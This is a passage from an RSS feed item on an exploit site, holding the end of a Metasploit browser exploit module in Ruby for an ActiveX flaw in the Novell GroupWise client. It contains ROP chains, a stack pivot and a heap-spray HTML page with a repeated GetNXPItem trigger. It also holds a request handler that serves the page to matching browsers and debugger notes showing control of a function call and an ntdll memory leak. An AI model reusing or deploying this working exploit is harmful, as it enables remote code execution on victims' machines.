				rop_payload &lt;&lt; [0x77c15ed5].pack(&quot;V&quot;)          # Mapped at 0x0c0c0c10 # xchg eax, esp # ret
				rop_payload &lt;&lt; stack_pivot
				rop_payload &lt;&lt; code
			else
				print_status(&quot;Using JRE ROP&quot;)
				rop_payload = generate_rop_payload('java', '') # Mapped at 0x0c0c07ea
				jmp_shell = Metasm::Shellcode.assemble(Metasm::Ia32.new, &quot;jmp $+#{0x0c0c0c14 - 0x0c0c07ea - rop_payload.length}&quot;).encode_string
				rop_payload &lt;&lt; jmp_shell
				rop_payload &lt;&lt; rand_text_alpha(0x0c0c0c0c - 0x0c0c07ea- rop_payload.length)
				rop_payload &lt;&lt; [0x0c0c0c10 - 0x426].pack(&quot;V&quot;)  # Mapped at 0x0c0c0c0c # 0x426 =&gt; vtable offset
				rop_payload &lt;&lt; [0x7C348B05].pack(&quot;V&quot;)          # Mapped at 0x0c0c0c10 # xchg eax, esp # ret
				rop_payload &lt;&lt; stack_pivot
				rop_payload &lt;&lt; code
		end
&nbsp;
		return rop_payload
	end
&nbsp;
&nbsp;
	def load_exploit_html(my_target, cli)
		p  = get_payload(my_target, cli)
		js = ie_heap_spray(my_target, p)
&nbsp;
		trigger = &quot;target.GetNXPItem(\&quot;22/10/2013\&quot;, 1, 1);&quot; * 200
&nbsp;
		html = %Q|
		&lt;html&gt;
		&lt;head&gt;
		&lt;script&gt;
		#{js}
		&lt;/script&gt;
		&lt;/head&gt;
		&lt;body&gt;
		&lt;object classid='clsid:601D7813-408F-11D1-98D7-444553540000' id ='target'&gt;
		&lt;/object&gt;
		&lt;script&gt;
			target.SetEngine(0x0c0c0c0c-0x20);
			setInterval(function(){#{trigger}},1000);
		&lt;/script&gt;
		&lt;/body&gt;
		&lt;/html&gt;
		|
&nbsp;
		return html
	end
&nbsp;
	def on_request_uri(cli, request)
		agent = request.headers['User-Agent']
		uri   = request.uri
		print_status(&quot;Requesting: #{uri}&quot;)
&nbsp;
		my_target = get_target(agent)
		# Avoid the attack if no suitable target found
		if my_target.nil?
			print_error(&quot;Browser not supported, sending 404: #{agent}&quot;)
			send_not_found(cli)
			return
		end
&nbsp;
		html = load_exploit_html(my_target, cli)
		html = html.gsub(/^\t\t/, '')
		print_status(&quot;Sending HTML...&quot;)
		send_response(cli, html, {'Content-Type'=&gt;'text/html'})
	end
&nbsp;
end
&nbsp;
&nbsp;
=begin
&nbsp;
* Remote Code Exec
&nbsp;
(240.8d4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\PROGRA~1\Novell\GROUPW~1\gwenv1.dll -
eax=00000000 ebx=0c0c0bec ecx=030c2998 edx=030c2998 esi=0c0c0bec edi=0013df58
eip=10335e2d esp=0013de04 ebp=0013de8c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210202
gwenv1!NgwOFErrorEnabledVector&lt;NgwOFAttribute&gt;::SetParent+0x326b9d:
10335e2d 8a8e4f040000    mov     cl,byte ptr [esi+44Fh]     ds:0023:0c0c103b=??
&nbsp;
&nbsp;
.text:103BDDEC                 mov     eax, [ebp+var_4] // var_4 =&gt; Engine + 0x20
.text:103BDDEF                 test    esi, esi
.text:103BDDF1                 jnz     short loc_103BDE17
.text:103BDDF3                 cmp     [eax+426h], esi
.text:103BDDF9                 jz      short loc_103BDE17 // Check function pointer against nil?
.text:103BDDFB                 mov     ecx, [ebp+arg_8]
.text:103BDDFE                 mov     edx, [ebp+arg_4]
.text:103BDE01                 push    ecx
.text:103BDE02                 mov     ecx, [eax+42Ah]  // Carefully crafted object allows to control it
.text:103BDE08                 push    edx
.text:103BDE09                 mov     edx, [eax+426h] // Carefully crafted object allows to control it
.text:103BDE0F                 push    ecx
.text:103BDE10                 call    edx  // Win!
&nbsp;
* Info Leak
&nbsp;
// Memory disclosure =&gt; 4 bytes from an arbitrary address
// Unstable when info leaking and triggering rce path...
target.SetEngine(0x7ffe0300-0x45c); // Disclosing ntdll
var leak = target.GetMiscAccess();
alert(leak);
&nbsp;
=end</pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.exploit-id.com/remote-exploits/novell-groupwise-client-gwcls1-dll-activex-remote-code-execution/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
